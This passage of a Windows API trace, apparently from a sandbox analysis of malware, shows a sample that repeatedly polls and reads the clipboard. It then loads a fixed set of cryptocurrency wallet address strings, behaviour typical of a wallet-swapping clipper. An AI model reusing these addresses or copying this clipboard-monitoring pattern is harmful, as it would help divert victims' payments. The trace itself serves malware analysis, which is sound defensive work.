lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.737] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.737] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.737] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.737] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.737] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.737] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.737] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.737] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.737] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.738] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.738] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.738] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.738] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.738] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.738] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0052.738] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0052.738] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0052.738] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0052.738] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0052.738] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0052.739] Sleep (dwMilliseconds=0x64) [0052.873] GetOpenClipboardWindow () returned 0x0 [0052.873] OpenClipboard (hWndNewOwner=0x0) returned 1 [0052.873] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0052.873] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0052.873] GlobalSize (hMem=0x6069b8) returned 0x42 [0052.873] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0052.873] GlobalUnlock (hMem=0x6069b8) returned 1 [0052.873] CloseClipboard () returned 1 [0052.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0052.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0052.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0052.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0052.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0052.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0052.877] Sleep (dwMilliseconds=0x64) [0052.996] GetOpenClipboardWindow () returned 0x0 [0052.996] OpenClipboard (hWndNewOwner=0x0) returned 1 [0052.996] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0052.996] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0052.996] GlobalSize (hMem=0x6069b8) returned 0x42 [0052.996] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0052.996] GlobalUnlock (hMem=0x6069b8) returned 1 [0052.996] CloseClipboard () returned 1 [0052.996] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.996] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.996] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.996] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.996] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: 